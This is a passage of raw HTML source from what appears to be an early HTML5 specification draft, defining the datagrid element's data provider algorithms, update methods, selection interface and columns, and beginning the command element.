data can be sorted relative to    a particular column   <dd>Check whether the <code title=datagrid-column-class-sortable><a    href="#sortable">sortable</a></code> class applies to the column. If it    does, then the user should be able to ask the UA to display the data    sorted by that column; if it does not, then the user agent must not allow    the user to ask for the data to be sorted by that column.   <dt>To establish if a column is a sorted column   <dd>If the user agent can handle multiple columns being marked as sorted    simultaneously: Check whether the <code    title=datagrid-column-class-sorted><a href="#sorted">sorted</a></code>    class applies to the column. If it does, then that column is the sorted    column, otherwise it is not.   <dd>If the user agent can only handle one column being marked as sorted at    a time: Check each column in turn, starting with the first one, to see    whether the <code title=datagrid-column-class-sorted><a    href="#sorted">sorted</a></code> class applies to that column. The first    column that has that class, if any, is the sorted column. If none of the    columns have that class, there is no sorted column.   <dt>To establish the sort direction of a sorted column   <dd>Check whether the <code title=datagrid-column-class-reversed><a    href="#reversed">reversed</a></code> class applies to the column. If it    does, then the sort direction is descending (down; first rows have the    highest values), otherwise it is ascending (up; first rows have the    lowest values).   <dt>To determine the total number of rows   <dd>Determine the number of rows for the root of the data grid, and    determine the number of child rows for each open row. The total number of    rows is the sum of all these numbers.   <dt>To determine the number of rows for the root of the data grid   <dd>Invoke the <code title=dom-provider-getRowCount><a    href="#getrowcount">getRowCount()</a></code> method with a <code><a    href="#rowspecification">RowSpecification</a></code> object representing    the empty path as its only argument. The return value is the number of    rows at the top level of the data grid. If the return value of the method    is negative, not an integer, or simply not a numeric type, or if the    method is not defined, then zero must be used instead.   <dt>To determine the number of child rows for a row   <dd>Invoke the <code title=dom-provider-getRowCount><a    href="#getrowcount">getRowCount()</a></code> method with a <code><a    href="#rowspecification">RowSpecification</a></code> object representing    the path to the row in question. The return value is the number of child    rows for the given row. If the return value of the method is negative,    not an integer, or simply not a numeric type, or if the method is not    defined, then zero must be used instead.   <dt>To determine what order to render rows in   <dd>    <p>Invoke the <code title=dom-provider-getChildAtPosition><a     href="#getchildatposition">getChildAtPosition()</a></code> method with a     <code><a href="#rowspecification">RowSpecification</a></code> object     representing the path to the parent of the rows that are being rendered     as the first argument, and the position that is being rendered as the     second argument. The return value is the index of the row to render in     that position.</p>    <div class=example>     <p>If the rows are:</p>     <ol>      <li> Row "0"       <ol>        <li> Row "0,0"        <li> Row "0,1"       </ol>      <li> Row "1"       <ol>        <li> Row "1,0"        <li> Row "1,1"       </ol>     </ol>     <p>...and the <code title=dom-provider-getChildAtPosition><a      href="#getchildatposition">getChildAtPosition()</a></code> method is      implemented as follows:</p>     <pre>function getChildAtPosition(parent, child) {  // always return the reverse order  return getRowCount(parent)-child-1;}</pre>     <p>...then the rendering would actually be:</p>     <ol>      <li> Row "1"       <ol>        <li> Row "1,1"        <li> Row "1,0"       </ol>      <li> Row "0"       <ol>        <li> Row "0,1"        <li> Row "0,0"       </ol>     </ol>    </div>    <p>If the return value of the method is negative, larger than the number     of rows that the <code title=dom-provider-getRowCount><a     href="#getrowcount">getRowCount()</a></code> method reported for that     parent, not an integer, or simply not a numeric type, then the entire     data grid should be disabled. Similarly, if the method returns the same     value for two or more different values for the second argument (with the     same first argument, and assuming that the data grid hasn't had relevant     update methods invoked in the meantime), then the data grid should be     disabled. Instead of disabling the data grid, the user agent may act as     if the <code title=dom-provider-getChildAtPosition><a     href="#getchildatposition">getChildAtPosition()</a></code> method was     not defined on the data provider (thus disabling sorting for that data     grid, but still letting the user interact with the data). If the method     is not defined, then the return value must be assumed to be the same as     the second argument (an indentity transform; the data is rendered in its     natural order).</p>   <dt>To establish what classes apply to a row   <dd>Invoke the <code title=dom-provider-getRowClasses><a    href="#getrowclasses">getRowClasses()</a></code> method with a <code><a    href="#rowspecification">RowSpecification</a></code> object representing    the row in question. The values contained in the <code><a    href="#domtokenstring0">DOMTokenString</a></code> object when the method    returns represent the classes that apply to the row in question. If the    method is not defined, no classes apply to the row.   <dt>To establish whether a row is a data row or a special row   <dd>Examine the classes that apply to the row. If the <code    title=datagrid-row-class-header><a href="#header1">header</a></code>    class applies to the row, then it is not a data row, it is a subheading.    The data from the first cell of the row is the text of the subheading,    the rest of the cells must be ignored. Otherwise, if the <code    title=datagrid-row-class-separator><a    href="#separator">separator</a></code> class applies to the row, then in    the place of the row, a separator should be shown. Otherwise, if the    <code title=datagrid-row-class-selectable-separator><a    href="#selectable-separator">selectable-separator</a></code> class    applies to the row, then the row should be a data row, but represented as    a separator. (The difference between a <code    title=datagrid-row-class-separator><a    href="#separator">separator</a></code> and a <code    title=datagrid-row-class-selectable-separator><a    href="#selectable-separator">selectable-separator</a></code> is that the    former is not an item that can be actually selected, whereas the second    can be selected and thus has a context menu that applies to it, and so    forth.) For both kinds of separator rows, the data of the rows' cells    must all be ignored. If none of those three classes apply then the row is    a simple data row.   <dt id=rowType1>To establish whether a row is openable   <dd>Determine the number of child rows for that row. If there are one or    more child rows, then the row is openable.   <dt>To establish whether a row should be initially open or closed   <dd>If <a href="#rowType1">the row is openable</a>, examine the classes    that apply to the row. If the <code    title=datagrid-row-class-initially-open><a    href="#initially-open">initially-open</a></code> class applies to the    row, then it should be initially open. Otherwise, if the <code    title=datagrid-row-class-initially-closed><a    href="#initially-closed">initially-closed</a></code> class applies to the    row, then it must be initially closed. Otherwise, if neither class    applies to the row, or if the row is not openable, then the initial state    of the row is entirely up to the UA.</dd>   <!-- XXXPA   <dt>To establish whether a row is deletable</dt>   <dd>Check whether the <code   title="datagrid-row-class-deletable">deletable</code> class applies   to the row. If it does, the row is deletable, and interactive user   agents should provide a way for the user to request that the row be   deleted. (See the <code   title="dom-provider-performActionOnRow">performActionOnRow()</code>   method for more details.) Otherwise, the user agent should not   provide the user with a method for requesting that the row be   deleted.</dd>-->   <dt>To obtain a URI to an image representing a row   <dd>Invoke the <code title=dom-provider-getRowImage><a    href="#getrowimage">getRowImage()</a></code> method with a <code><a    href="#rowspecification">RowSpecification</a></code> object representing    the row in question. The return value is a string representing a URI or    IRI to an image. Relative URIs must be interpreted relative to the    <code><a href="#datagrid1">datagrid</a></code>'s base URI. If the method    returns the empty string, null, or if the method is not defined, then the    row has no associated image.   <dt>To obtain a context menu appropriate for a particular row   <dd>Invoke the <code title=dom-provider-getRowMenu><a    href="#getrowmenu">getRowMenu()</a></code> method with a <code><a    href="#rowspecification">RowSpecification</a></code> object representing    the row in question. The return value is a reference to an object    implementing the <code>HTMLMenuElement</code> interface, i.e. a <code><a    href="#menu0">menu</a></code> element DOM node. (This element must then    be interpreted as described in the section on context menus to obtain the    actual context menu to use.<!-- XXXX update once menu section   works; with xrefs -->)    If the method returns something that is not an    <code>HTMLMenuElement</code>, or if the method is not defined, then the    row has no associated context menu. User agents may provide their own    default context menu, and may add items to the author-provided context    menu. For example, such a menu could allow the user to change the    presentation of the <code><a href="#datagrid1">datagrid</a></code>    element.   <dt>To establish the value of a particular cell   <dd>Invoke the <code title=dom-provider-getCellData><a    href="#getcelldata">getCellData()</a></code> method with the first    argument being a <code><a    href="#rowspecification">RowSpecification</a></code> object representing    the row of the cell in question and the second argument being the index    of the cell's column. The second argument must be a non-negative integer    less than the total number of columns. The return value is the value of    the cell. If the return value is null or the empty string, or if the    method is not defined, then the cell has no data. (For progress bar    cells, the cell's value must be further interpreted, as described below.)   <dt>To establish what classes apply to a cell   <dd>Invoke the <code title=dom-provider-getCellClasses><a    href="#getcellclasses">getCellClasses()</a></code> method with the first    argument being a <code><a    href="#rowspecification">RowSpecification</a></code> object representing    the row of the cell in question, the second argument being the index of    the cell's column, and the third being an object implementing the    <code><a href="#domtokenstring0">DOMTokenString</a></code> interface,    initialised to empty. The second argument must be a non-negative integer    less than the total number of columns. The values contained in the    <code><a href="#domtokenstring0">DOMTokenString</a></code> object when    the method returns represent the classes that apply to that cell. If the    method is not defined, no classes apply to the cell.   <dt id=cellType1>To establish how the type of a cell   <dd>Examine the classes that apply to the cell. If the <code    title=datagrid-cell-class-progress><a    href="#progress1">progress</a></code> class applies to the cell, it is a    progress bar. Otherwise, if the <code    title=datagrid-cell-class-cyclable><a    href="#cyclable">cyclable</a></code> class applies to the cell, it is a    cycling cell whose value can be cycled between multiple states.    Otherwise, none of these classes apply, and the cell is a simple text    cell.   <dt>To establish the value of a progress bar cell   <dd>If the value <var title="">x</var> of the cell is a string that can be    <a href="#rules1" title="rules for parsing floating point number    values">converted to a floating-point number</a> in the range    0.0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">x</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;1.0, then the    progress bar has that value (0.0 means no progress, 1.0 means complete).    Otherwise, the progress bar is an indeterminate progress bar.   <dt id=cellType2>To establish how a simple text cell should be presented   <dd>Check whether one of the <code title=datagrid-cell-class-checked><a    href="#checked">checked</a></code>, <code    title=datagrid-cell-class-unchecked><a    href="#unchecked">unchecked</a></code>, or <code    title=datagrid-cell-class-indeterminate><a    href="#indeterminate">indeterminate</a></code> classes applies to the    cell. If any of these are present, then the cell has a checkbox,    otherwise none are present and the cell does not have a checkbox. If the    cell has no checkbox, check whether the <code    title=datagrid-cell-class-editable><a    href="#editable">editable</a></code> class applies to the cell. If it    does, then the cell value is editable, otherwise the cell value is    static.   <dt>To establish the state of a cell's checkbox, if it has one   <dd>Check whether the <code title=datagrid-cell-class-checked><a    href="#checked">checked</a></code> class applies to the cell. If it does,    the cell is checked. Otherwise, check whether the <code    title=datagrid-cell-class-unchecked><a    href="#unchecked">unchecked</a></code> class applies to the cell. If it    does, the cell is unchecked. Otherwise, the <code    title=datagrid-cell-class-indeterminate><a    href="#indeterminate">indeterminate</a></code> class appplies to the cell    and the cell's checkbox is in an indeterminate state. When the <code    title=datagrid-cell-class-indeterminate><a    href="#indeterminate">indeterminate</a></code> class appplies to the    cell, the checkbox is a tristate checkbox, and the user can set it to the    indeterminate state. Otherwise, only the <code    title=datagrid-cell-class-checked><a href="#checked">checked</a></code>    and/or <code title=datagrid-cell-class-unchecked><a    href="#unchecked">unchecked</a></code> classes apply to the cell, and the    cell can only be toggled betwen those two states.  </dl>  <p>If the data provider ever raises an exception while the <code><a   href="#datagrid1">datagrid</a></code> is invoking one of its methods, the   <code><a href="#datagrid1">datagrid</a></code> must act, for the purposes   of that particular method call, as if the relevant method had not been   defined.  <p>A <code><a href="#rowspecification">RowSpecification</a></code> object   <var title="">p</var> with <var title="">n</var> path components passed to   a method of the data provider must fulfill the constraint   <span>0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">p<sub title=""><var   title="">i</var></sub></var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">m</var>-1</span>   for all integer values of <var title="">i</var> in the range   <span>0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">i</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var   title="">n</var>-1</span>, where <var title="">m</var> is the value that   was last returned by the <code title=dom-provider-getRowCount><a   href="#getrowcount">getRowCount()</a></code> method when it was passed the   <code><a href="#rowspecification">RowSpecification</a></code> object <var   title="">q</var> with <span><var title="">i</var>-1</span> items, where   <span><var title="">p<sub title=""><var   title="">i</var></sub></var>AMPERSANDnbsp;=AMPERSANDnbsp;<var title="">q<sub title=""><var   title="">i</var></sub></var></span> for all integer values of <var   title="">i</var> in the range <span>0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">i</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">n</var>-1</span>, with any   changes implied by the update methods taken into account.  <p id=inconsistentDataProvider>The data model is considered stable: user   agents may assume that subsequent calls to the data provider methods will   return the same data, until one of the update methods is called on the   <code><a href="#datagrid1">datagrid</a></code> element. If a user agent is   returned inconsistent data, for example if the number of rows returned by   <code title=dom-provider-getRowCount><a   href="#getrowcount">getRowCount()</a></code> varies in ways that do not   match the calls made to the update methods, the user agent may disable the   <code><a href="#datagrid1">datagrid</a></code>. User agents that do not   disable the <code><a href="#datagrid1">datagrid</a></code> in inconsistent   cases must honour the most recently returned values.  <p>User agents may cache returned values so that the data provider is never   asked for data that could contradict earlier data. User agents must not   cache the return value of the <code title=dom-provider-getRowMenu><a   href="#getrowmenu">getRowMenu</a></code> method.  <p>The exact algorithm used to populate the data grid is not defined here,   since it will differ based on the presentation used. However, the   behaviour of user agents must be consistent with the descriptions above.   For example, it would be non-conformant for a user agent to make cells   have both a checkbox and be editable, as the descriptions above state that   cells that have a checkbox cannot be edited.</p>  <!-- XXX speaking of which, do we actually want that  limitation? -->  <h5 id=updating><span class=secno>3.18.2.6. </span>Updating the <code><a   href="#datagrid1">datagrid</a></code></h5>  <p>Whenever the <code title=dom-datagrid-data><a   href="#data2">data</a></code> attribute is set to a new value, the   <code><a href="#datagrid1">datagrid</a></code> must clear the current   selection, remove all the displayed rows, and plan to repopulate itself   using the information from the new data provider at the earliest   opportunity.  <p>There are a number of update methods that can be invoked on the <code><a   href="#datagrid1">datagrid</a></code> element to cause it to refresh   itself in slightly less drastic ways:  <p>When the <dfn id=updateeverything   title=dom-datagrid-updateEverything><code>updateEverything()</code></dfn>   method is called, the user agent must repopulate the entire <code><a   href="#datagrid1">datagrid</a></code>. If the number of rows decreased,   the selection must be updated appropriately. If the number of rows   increased, the new rows should be left unselected.  <p>When the <dfn id=updaterowschanged   title=dom-datagrid-updateRowsChanged><code>updateRowsChanged(<var   title="">row</var>, <var title="">count</var>)</code></dfn> method is   called, the user agent must refresh the rendering of the rows starting   from the row specified by <var title="">row</var>, and including the <var   title="">count</var> next siblings of the row (or as many next siblings as   it has, if that is less than <var title="">count</var>), including all   descendant rows.  <p>When the <dfn id=updaterowsinserted   title=dom-datagrid-updateRowsInserted><code>updateRowsInserted(<var   title="">row</var>, <var title="">count</var>)</code></dfn> method is   called, the user agent must assume that <var title="">count</var> new rows   have been inserted, such that the first new row is indentified by <var   title="">row</var>. The user agent must update its rendering and the   selection accordingly. The new rows should not be selected.  <p>When the <dfn id=updaterowsremoved   title=dom-datagrid-updateRowsRemoved><code>updateRowsRemoved(<var   title="">row</var>, <var title="">count</var>)</code></dfn> method is   called, the user agent must assume that <var title="">count</var> rows   have been removed starting from the row that used to be identifier by <var   title="">row</var>. The user agent must update its rendering and the   selection accordingly.  <p>The <dfn id=updaterowchanged   title=dom-datagrid-updateRowChanged><code>updateRowChanged(<var   title="">row</var>)</code></dfn> method must be exactly equivalent to   calling <code title=dom-datagrid-updateRowsChanged><a   href="#updaterowschanged">updateRowsChanged(<var title="">row</var>,   1)</a></code>.  <p>When the <dfn id=updatecolumnchanged   title=dom-datagrid-updateColumnChanged><code>updateColumnChanged(<var   title="">column</var>)</code></dfn> method is called, the user agent must   refresh the rendering of the specified column <var title="">column</var>,   for all rows.  <p>When the <dfn id=updatecellchanged   title=dom-datagrid-updateCellChanged><code>updateCellChanged(<var   title="">row</var>, <var title="">column</var>)</code></dfn> method is   called, the user agent must refresh the rendering of the cell on row <var   title="">row</var>, in column <var title="">column</var>.  <p>Any effects the update methods have on the <code><a   href="#datagrid1">datagrid</a></code>'s selection is not considered a   change to the selection, and must therefore not fire the <code   title=event-select><a href="#select">select</a></code> event.  <p>These update methods should only be called by the data provider, or code   acting on behalf of the data provider. In particular, calling the <code   title=dom-datagrid-updateRowsInserted><a   href="#updaterowsinserted">updateRowsInserted()</a></code> and <code   title=dom-datagrid-updateRowsRemoved><a   href="#updaterowsremoved">updateRowsRemoved()</a></code> methods without   actually inserting or removing rows from the data provider is <a   href="#inconsistentDataProvider">likely to result in inconsistent   renderings</a>, and the user agent is likely to disable the data grid.  <h5 id=requirements><span class=secno>3.18.2.7. </span>Requirements for   interactive user agents</h5>  <p><em>This section only applies to interactive user agents.</em>  <p>If the <code><a href="#datagrid1">datagrid</a></code> element has a <dfn   id=disabled2 title=attr-datagrid-disabled><code>disabled</code></dfn>   attribute, then the user agent must disable the <code><a   href="#datagrid1">datagrid</a></code>, preventing the user from   interacting with it. The <code><a href="#datagrid1">datagrid</a></code>   element should still continue to update itself when the data provider   signals changes to the data, though. Obviously, conformance requirements   stating that <code><a href="#datagrid1">datagrid</a></code> elements must   react to users in particular ways do not apply when one is disabled.  <p>If <a href="#rowType1">a row is openable</a>, then the user should be   able to toggle its open/closed state. When a row's open/closed state   changes, the user agent must update the rendering to match the new state.  <p>If a cell is a cell whose value <a href="#cellType1">can be cycled   between multiple states</a>, then the user must be able to activate the   cell to cycle its value. When the user activates this "cycling" behaviour   of a cell, then the <code><a href="#datagrid1">datagrid</a></code> must   invoke the data provider's <code title=dom-provider-cycleCell><a   href="#cyclecell">cycleCell()</a></code> method, with a <code><a   href="#rowspecification">RowSpecification</a></code> object representing   the cell's row as the first argument and the cell's column index as the   second. The <code><a href="#datagrid1">datagrid</a></code> must act as if   the <code><a href="#datagrid1">datagrid</a></code>'s <code   title=dom-datagrid-updateCellChanged><a   href="#updatecellchanged">updateCellChanged()</a></code> method had been   invoked with those same arguments immediately before the provider's method   was invoked.  <p>When a cell <a href="#cellType2">has a checkbox</a>, the user must be   able to set the checkbox's state. When the user changes the state of a   checkbox in such a cell, the <code><a   href="#datagrid1">datagrid</a></code> must invoke the data provider's   <code title=dom-provider-setCellCheckedState><a   href="#setcellcheckedstate">setCellCheckedState()</a></code> method, with   a <code><a href="#rowspecification">RowSpecification</a></code> object   representing the cell's row as the first argument, the cell's column index   as the second, and the checkbox's new state as the third. The state should   be represented by the number 1 if the new state is checked, 0 if the new   state is unchecked, and -1 if the new state is indeterminate (which must   only be possible if the cell has the <code   title=datagrid-cell-class-indeterminate><a   href="#indeterminate">indeterminate</a></code> class set). The <code><a   href="#datagrid1">datagrid</a></code> must act as if the <code><a   href="#datagrid1">datagrid</a></code>'s <code   title=dom-datagrid-updateCellChanged><a   href="#updatecellchanged">updateCellChanged()</a></code> method had been   invoked, specifying the same cell, immediately before the provider's   method was invoked.  <p>If a cell <a href="#cellType2">is editable</a>, the user must be able to   edit the data for that cell, and doing so must cause the user agent to   invoke the <code title=dom-provider-editCell><a   href="#editcell">editCell()</a></code> method of the data provider with   three arguments: a <code><a   href="#rowspecification">RowSpecification</a></code> object representing   the cell's row, the cell's column's index, and the new text entered by the   user. The user agent must act as if the <code   title=dom-datagrid-updateCellChanged><a   href="#updatecellchanged">updateCellChanged()</a></code> method had been   invoked, with the same row and column specified, immediately before the   provider's method was invoked.</p>  <!-- XXXPA <p class="big-issue">define actions (performAction(), etc)</p> -->  <h5 id=the-selection><span class=secno>3.18.2.8. </span>The selection</h5>  <p><em>This section only applies to interactive user agents. For other user   agents, the <code title=dom-datagrid-selection><a   href="#selection0">selection</a></code> attribute must return null.</em>  <pre   class=idl>interface <dfn id=datagridselection>DataGridSelection</dfn> {  readonly attribute unsigned long <span title=dom-DataGridSelection-count>length</span>;  <a href="#rowspecification">RowSpecification</a> <span title=dom-DataGridSelection->item</span>(in unsigned long index);  boolean <a href="#isselected" title=dom-DataGridSelection-isSelected>isSelected</a>(in <a href="#rowspecification">RowSpecification</a> row);  void <a href="#setselected" title=dom-DataGridSelection-setSelected>setSelected</a>(in <a href="#rowspecification">RowSpecification</a> row, in boolean selected);<!--  void <span title="dom-DataGridSelection-addRange">addRange</span>(in <span>RowSpecification</span> first, in <span>RowSpecification</span> last);  void <span title="dom-DataGridSelection-removeRange">removeRange</span>(in <span>RowSpecification</span> first, in <span>RowSpecification</span> last);XXX selection ranges -->  void <a href="#selectall" title=dom-DataGridSelection-selectAll>selectAll</a>();  void <a href="#invert" title=dom-DataGridSelection-invert>invert</a>();  void <a href="#clear" title=dom-DataGridSelection-clear>clear</a>();};</pre>  <p>Each <code><a href="#datagrid1">datagrid</a></code> element must keep   track of which rows are currently selected. Initially no rows are   selected, but this can be changed via the methods described in this   section. <!--XXX  select-provider-selection The default data provider, for instance,  changes which rows are selected when it is first initialised.-->  <p>The selection of a <code><a href="#datagrid1">datagrid</a></code> is   represented by its <dfn id=selection0   title=dom-datagrid-selection><code>selection</code></dfn> DOM attribute,   which must be a <code><a   href="#datagridselection">DataGridSelection</a></code> object.  <p><code><a href="#datagridselection">DataGridSelection</a></code> objects   represent the rows in the selection. In the selection the rows must be   ordered in the natural order of the data provider (and not, e.g., the   rendered order). Rows that are not rendered because one of their ancestors   is closed must share the same selection state as their nearest rendered   ancestor. Such rows are not considered part of the selection for the   purposes of iterating over the selection.  <p class=note>This selection API doesn't allow for hidden rows to be   selected because it is trivial to create a data provider that has infinite   depth, which would then require the selection to be infinite if every row,   including every hidden row, was selected.  <p>The <dfn id=length2   title=dom-DataGridSelection-length><code>length</code></dfn> attribute   must return the number of rows currently present in the selection. The   <dfn id=itemindex2 title=dom-DataGridSelection-item><code>item(<var   title="">index</var>)</code></dfn> method must return the <var   title="">index</var>th row in the selection. If the argument is out of   range (less than zero or greater than the number of selected rows minus   one), then it must raise an <code>INDEX_SIZE_ERR</code> exception. <a   href="#refsDOM3CORE">[DOM3CORE]</a>  <p>The <dfn id=isselected   title=dom-DataGridSelection-isSelected><code>isSelected()</code></dfn>   method must return the selected state of the row specified by its   argument. If the specified row exists and is selected, it must return   true, otherwise it must return false.  <p>The <dfn id=setselected   title=dom-DataGridSelection-setSelected><code>setSelected()</code></dfn>   method takes two arguments, <var title="">row</var> and <var   title="">selected</var>. When invoked, it must set the selection state of   row <var title="">row</var> to selected if <var title="">selected</var> is   true, and unselected if it is false. If <var title="">row</var> is not a   row in the data grid, the method must raise an <code>INDEX_SIZE_ERR</code>   exception. If the specified row is not rendered because one of its   ancestors is closed, the method must do nothing.  <p>The <dfn id=selectall   title=dom-DataGridSelection-selectAll><code>selectAll()</code></dfn>   method must mark all the rows in the data grid as selected. After a call   to <code title=dom-DataGridSelection-selectAll><a   href="#selectall">selectAll()</a></code>, the <code   title=dom-DataGridSelection-length><a href="#length2">length</a></code>   attribute will return the number of rows in the data grid, not counting   children of closed rows.  <p>The <dfn id=invert   title=dom-DataGridSelection-invert><code>invert()</code></dfn> method must   cause all the rows in the selection that were marked as selected to now be   marked as not selected, and vice versa.  <p>The <dfn id=clear   title=dom-DataGridSelection-clear><code>clear()</code></dfn> method must   mark all the rows in the data grid to be marked as not selected. After a   call to <code title=dom-DataGridSelection-clear><a   href="#clear">clear()</a></code>, the <code   title=dom-DataGridSelection-length><a href="#length2">length</a></code>   attribute will return zero.  <p>If the <code><a href="#datagrid1">datagrid</a></code> element has a <dfn   id=multiple0 title=attr-datagrid-multiple><code>multiple</code></dfn>   attribute, then the user must be able to select any number of rows (zero   or more). If the attribute is not present, then the user must only be able   to select a single row at a time, and selecting another one must unselect   all the other rows.  <p class=note>This only applies to the user. Scripts can select multiple   rows even when the <code title=attr-datagrid-multiple><a   href="#multiple0">multiple</a></code> attribute is absent.  <p>Whenever the selection of a <code><a   href="#datagrid1">datagrid</a></code> changes, whether due to the user   interacting with the element, or as a result of calls to methods of the   <code title=dom-datagrid-selection><a   href="#selection0">selection</a></code> object, a <dfn id=select   title=event-select><code>select</code></dfn><!-- XXX check if we  really should be DFNing this here. It's a DOM3 Core event. What's  our story going to be regarding events and defining them? -->   event that bubbles but is not cancelable must be fired on the <code><a   href="#datagrid1">datagrid</a></code> element. If changes are made to the   selection via calls to the object's methods during the execution of a   script<!-- XXX should xref to a better explanation -->, then the <code   title=event-select><a href="#select">select</a></code> events must be   coalesced into one, which must then be fired<!--XXX xref again--> when the   script execution has completed<!-- XXX xref -->.  <p class=note>The <code><a   href="#datagridselection">DataGridSelection</a></code> interface has no   relation to the <code><a href="#selection1">Selection</a></code>   interface.  <h5 id=columns><span class=secno>3.18.2.9. </span>Columns and captions</h5>  <p><em>This section only applies to interactive user agents.</em>  <p>Each <code><a href="#datagrid1">datagrid</a></code> element must keep   track of which columns are currently being rendered. User agents should   initially show all the columns except those with the <code   title=datagrid-column-class-initially-hidden><a   href="#initially-hidden">initially-hidden</a></code> class, but may allow   users to hide or show columns. User agents should initially display the   columns in the order given by the data provider, but may allow this order   to be changed by the user.  <p>If columns are not being used, as might be the case if the data grid is   being presented in an icon view, or if an overview of data is being read   in an aural context, then the text of the first column of each row should   be used to represent the row.  <p>If none of the columns have any captions (i.e. if the data provider does   not provide a <code title=dom-provider-getCaptionText><a   href="#getcaptiontext">getCaptionText()</a></code> method), then user   agents may avoid showing the column headers at all. This may prevent the   user from performing actions on the columns (such as reordering them,   changing the sort column, and so on).  <p class=note>Whatever the order used for rendering, and irrespective of   what columns are being shown or hidden, the "first column" as referred to   in this specification is always the column with index zero, and the "last   column" is always the column with the index one less than the value   returned by the <code title=dom-provider-getcolumnCount><a   href="#getcolumncount">getColumnCount()</a></code> method of the data   provider.  <p>If <a href="#columnType2">a column is sortable</a>, then the user must   be able to invoke it to sort the data. When the user does so, then the   <code><a href="#datagrid1">datagrid</a></code> must invoke the data   provider's <code title=dom-provider-toggleColumnSortState><a   href="#togglecolumnsortstate">toggleColumnSortState()</a></code> method,   with the column's index as the only argument. The <code><a   href="#datagrid1">datagrid</a></code> must <em>then</em> act as if the   <code><a href="#datagrid1">datagrid</a></code>'s <code   title=dom-datagrid-updateEverything><a   href="#updateeverything">updateEverything()</a></code> method had been   invoked.</p>  <!--XXXDND  <h5>Drag and drop in <code>datagrid</code>s</h5>  <p><em>This section only applies to interactive user agents.</p>  <p class="big-issue">define drag and drop in datagrids; selectiondraggable, etc.</p>-->  <h4 id=the-command><span class=secno>3.18.3. </span>The <dfn   id=command1><code>command</code></dfn> element</h4>  <p><a href="#metadata" title="metadata elements">Metadata element</a>, and   <a href="#strictly">strictly inline-level content</a>.</p>  <!-- XXX we sure we  want it to be metadata? -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-command-type><a href="#type11">type</a></code>   <dd><code title=attr-command-label><a href="#label">label</a></code>   <dd><code title=attr-command-icon><a href="#icon0">icon</a></code>   <dd><code title=attr-command-hidden><a href="#hidden">hidden</a></code>   <dd><code title=attr-command-disabled><a    href="#disabled3">disabled</a></code>   <dd><code title=attr-command-checked><a    href="#checked0">checked</a></code>   <dd><code title=attr-command-radiogroup><a    href="#radiogroup">radiogroup</a></code>   <dd><code title=attr-command-default><a href="#default">default</a></code>   <dd>Also, the <code title=attr-command-title><a    href="#title8">title</a></code> attribute has special semantics on this    element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlcommandelement>HTMLCommandElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#type12" title=dom-command-type>type</a>;           attribute DOMString <a href="#label0" title=dom-command-label>label</a>;           attribute DOMString <a href="#icon1" title=dom-command-icon>icon</a>;           attribute boolean <a href="#hidden0" title=dom-command-hidden>hidden</a>;           attribute boolean <a href="#disabled4" title=dom-command-disabled>disabled</a>;           attribute boolean <a href="#checked1" title=dom-command-checked>checked</a>;           attribute DOMString <a href="#radiogroup0" title=dom-command-radiogroup>radiogroup</a>;           attribute boolean <a href="#default0" title=dom-command-default>default</a>; void <a href="#click0" title=dom-command-click>click</a>(); // shadows <code><a href="#htmlelement">HTMLElement</a></code>.<code title=dom-click><a href="#click">click()</a></code>};</pre>    <p>The <code title=command-ro><a href="#command3">Command</a></code>     interface must also be implemented by this element.</p>  </dl>  <p>The <code><a href="#command1">command</a></code> element represents a   command that the user can invoke.  <p>The <dfn id=type11 title=attr-command-type><code>type</code></dfn>   attribute indicates the kind of command: either a normal command with an   associated action, or a state or option that can be toggled, or a   selection of one item from a list of items.  <p>The attribute's value must be either "<code title="">command</code>",   "<code title="">checkbox</code>", or "<code title="">radio</code>",   denoting each of these three types of commands respectively. The attribute   may also be omitted if the element is to represent the first of these   types, a simple command.  <p>The <dfn id=label title=attr-command-label><code>label</code></dfn>   attribute gives the name of the command, as shown to the user.  <p>The <dfn id=title8 title=attr-command-title><code>title</code></dfn>   attribute gives a hint describing the command, which might be shown to the   user to help him.  <p>The <dfn id=icon0 title=attr-command-icon><code>icon</code></dfn>   attribute gives a picture that represents the command. If the attribute is   specified, the attribute's value must contain a URI.  <p>The <dfn id=hidden title=attr-command-hidden><code>hidden</code></dfn>   attribute indicates, if present, that the command is not relevant and is   to be hidden. If present, the attribute must have the exact value <code   title="">hidden</code>.  <p>The <dfn id=disabled3   title=attr-command-disabled><code>disabled</code></dfn> attribute   indicates, if present, that the command is not available in the current   state. If present, the attribute must have the exact value <code   title="">disabled</code>.  <p class=note>The distinction between <a href="#disabled5"   title=command-facet-DisabledState>Disabled State</a> and <a   href="#hidden1" title=command-facet-HiddenState>Hidden State</a> is   subtle. A command should be Disabled if, in the same context, it could be   enabled if only certain aspects of the situation were changed. A command   should be marked as Hidden if, in that situation, the command will never   be enabled. For example, in the context menu for a water faucet, the   command "open" might be Disabled if the faucet is already open, but the   command "eat" would be marked Hidden since the faucet could never be   eaten.  <p>The <dfn id=checked0   title=attr-command-checked><code>checked</code></dfn> attribute indicates,   if present, that the command is selected. If present, the attribute must   have the exact value <code title="">checked</code>.  <p>The <dfn id=radiogroup   title=attr-command-radiogroup><code>radiogroup</code></dfn> attribute   gives the name of the group of commands that will be toggled when the   command itself is toggled, for commands whose <code   title=attr-command-type><a href="#type11">type</a></code> attribute has   the value "<code title="">radio</code>". The scope of the name is the   child list of the parent element.  <p>If the <code><a href="#command1">command</a></code> element is used when   <span title="menu generation">generating</span> a <span>context   menu</span>, then the <dfn id=default   title=attr-command-default><code>default</code></dfn> attribute indicates,   if present, that the command is the one that would have been invoked if   the user had directly activated the menu's subject instead of using its   context menu.  <div class=example>   <p class=big-issue>Need an example that shows an element that, if    double-clicked, invokes an action, but that also has a context menu,    showing the various <code><a 